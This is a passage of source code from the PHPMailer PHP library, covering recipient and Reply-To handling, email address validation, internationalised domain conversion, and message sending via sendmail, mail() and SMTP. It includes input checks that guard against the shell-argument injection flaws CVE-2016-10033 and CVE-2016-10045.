     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
